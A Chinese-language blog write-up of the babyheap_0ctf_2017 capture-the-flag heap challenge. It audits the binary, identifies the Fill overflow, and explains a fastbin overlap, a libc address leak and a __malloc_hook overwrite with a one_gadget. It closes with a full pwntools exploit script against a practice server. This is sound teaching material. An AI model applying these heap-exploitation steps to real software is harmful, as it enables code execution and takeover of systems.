堆入门题

纪念

第一次学习堆,特意为这题单发一个博客好了。作为接触堆的一个分界线吧!

babyheap_0ctf_2017

照例checksec以及运行,发现开启了全部的缓解机制。进入ida静态分析,了解一下具体运行情况。审计一下其中的代码

在main函数里面,可以看到分为了众多函数,首先v4是一个指针,其次他的值来自于sub_B70,我们要进入这个函数查看一番,返回了什么地址,并赋值给了v4

在sub_B70这个函数中,调用了mmap函数,开辟了一段匿名映射区。该映射区起始地址为addr,长度为0x1000,权限为可写可执行,用于存放最多16个结构体。每个结构体包含in_use、size和buf_ptr三个域,分别表示堆块是否在被使用、堆的大小和指向堆块缓冲区的指针。 而函数sub_B70便是把这个匿名映射的地址返回给了v4。

接下来两个函数,一个是用来输出选项的字符串,一个是用来输入的,输入长度被限制为8个字节,就不细讲了。以及注意后面执行的四个函数,都是把v4指向的地址作为参数进入到函数中去。

这是1.Allocate函数的代码,首先是在之前mmap申请的16个结构体中找到一个未被使用过的结构体,然后再要我们输入一个数,生成该数数值大小的一个堆,不能超过0x1000。

这是2.Fill函数。首先读取一个数作为索引,并判断该对应的结构体是否被使用了。如果被使用了,则读取第二个数作为size,并且调用函数sub_11B2,把对应的结构体的buf_ptr指针和size作为参数。

进入到sub_11B2函数中,可以很明显的得知,我们可以向Fill函数中的结构体buf_ptr指针指向的堆输入size个字符,不过只能输入一次。这里的read函数,对size大小并没限制,造成明显的溢出点,后面可以利用

这是3.Free函数。首先读取一个数作为索引,并找到索引对应的结构体,如果该结构体被使用了,就把该结构体指向的堆释放了,同时把in_use、size和buf_ptr全部清零。

最后一个dump函数。首先读取一个数作为索引,找到对应的结构体,如果被使用则调用函数sub_130F,把该结构体的buf_ptr和size两个域作为参数传入。这个函数就不再多介绍,与Fill中的函数类似,仅仅是把read换成了write,把堆的内容写到标准输出。

代码到此就审计完了,回顾整个代码,可以发现,在calloc申请堆的长度是不大于4096的,而在Fill中的read读取长度很明显可以大于4096,而造成堆溢出,这就是本题的漏洞点,之后的思考在于怎么利用这个堆溢出。

首先,我们先创建五个chunk,四个是fast chunk,还有一个为small chunk。fast chunk通过fastbin来重叠chunk,small chunk用来获取libc_base。我们把chunk1和chunk2释放掉,根据fastbin后进先出的机制,我们只要再次申请同等大小的chunk,即可把原本释放掉的chunk“归还”回来。因为后面要通过chunk4获取libc偏移,所以我们要在chunk4上面重叠chunk2造成拥有两个指针都可以访问chunk4的地址,才能在把chunk4释放掉之后,仍然可以读取其值。所以接下来要把chunk2的fd的值改为指向chunk4即可。

因为刚开始申请空间时,调用了mmap,那么就可以保证chunk是从堆的起始地址开始分配的,也就是后三位是0x000开始的。那我们修改fd只需要把其修改其最后两位为0x80就可以。因为fast bin的大小有限制,所以还要一起把chunk4的size大小改为21。

这是把chunk4释放掉之后,可以看见其fd和bk都指向同一个地址,而这个地址是处于libc里面的地址,所以可以通过这个算出相对于libc起始地址的偏差,因为开启了pie保护,所以libc起始地址是会改变的,但是偏移却是一定的。

计算可知,偏移为0x3c4b78。偏移到手了,代表着one_gadget的绝对地址也已经有了,接下来就是找到个可以执行程序的东西,对ong_gadget执行即可获取shell。这里我们使用劫持__malloc_hook函数,这个函数是一个弱类型的函数指针,指向void *function(size_t size,void *caller)。当调用malloc函数的时候,会先判断hook函数指针是否为空,如果不为空,就调用它。所以我们要把hook函数指针修改为one_gadget的地址,进行调用one_gadget

第二行就是我们需要覆盖的值,所以,我们要在他的前面创建chunk,然后堆溢出覆盖到目标地址。但是前面的数值过于巨大,fast bin的大小不过才0x20~0x80而已,所以这里要利用一个小技巧:错位偏移。即是不要对准内存,而这内存进行偏移0xd个位置,把开头的7f移动到末位,从而能申请到fast chunk。

而在这里申请chunk跟之前差不多,先把之前释放的chunk4申请回来,作为fast chunk,我是申请了0x60的大小。然后再释放掉,归到fast bin去,然后通过2来修改其fd的值,去指向malloc_hook附近的地址,然后申请两次同样大小的chunk,第二个chunk就会在我们想要的地址。这里的偏移输入,因为先在hook的位置上移0x20-0xd处建chunk,那么前0x10用来标记,后面的才是存放数据,也就是我们输入数据的起始位置距离hook函数指针的偏移为0x10-0xd=0x3,相差3个字节,所以我们要用p(8)*3先填充这个偏差,然后才是真正的hook函数指针地址,再写入one_gadget的地址即可。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!usr/bin/env python
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',25412)
#p=process('./1')
context.os='linux'
context.arch='amd64'
context.log_level='debug'
def allocate(size):
p.recvuntil('Command:','1')
p.sendline('1')
p.sendlineafter('Size:',str(size))
def fill(idx,content):
p.sendlineafter('Command:','2')
p.sendlineafter('Index:',str(idx))
p.sendlineafter('Size:',str(len(content)))
p.sendlineafter('Content:',content)
def free(idx):
p.sendlineafter('Command:','3')
p.sendlineafter('Index:',str(idx))
def dump(idx):
p.sendlineafter('Command:','4')
p.sendlineafter('Index:',str(idx))
p.recvline()
return p.recvline() #接收堆中内容

allocate(0x10) #chunk0
allocate(0x10) #chunk1
allocate(0x10) #chunk2
allocate(0x10) #chunk3
allocate(0x80) #chunk4
free(1)
free(2)

payload='a'*0x10+p64(0)+p64(0x21)+p64(0)+'a'*0x8+p64(0)+p64(0x21)+p8(0x80)
fill(0,payload)
payload='a'*0x10+p64(0)+p64(0x21)
fill(3,payload)

allocate(0x10) #chunk1
allocate(0x10) #在chunk4上叠上了chunk2

payload='a'*0x10+p64(0)+p64(0x91)
fill(3,payload)
allocate(0x80) #chunk5,防止chunk4与top chunk合并
free(4)
leak_base=u64(dump(2)[:8])
libc_base=leak_base-0x3c4b78
malloc_hook=libc_base+0x3c4b10
log.info("leak address:0x%x" %leak_base)
log.info("libc base:0x%x" %libc_base)
log.info("__malloc_hook:0x%x" %malloc_hook)

allocate(0x60)
free(4)
payload=p64(malloc_hook-0x20+0xd)
fill(2,payload)
allocate(0x60)

allocate(0x60) #malloc附近的chunk6
one_gadget=libc_base+0x4526a

payload=p8(0)*3+p64(one_gadget)
fill(6,payload)
allocate(0x1)
p.interactive()

结语:总算艰苦的完成了第一道的堆题,其中的艰难就不再多说了。更多的还是喜悦吧,万事开头难,跨入了这道坎,后面可能也许大概会容易些吧

查看评论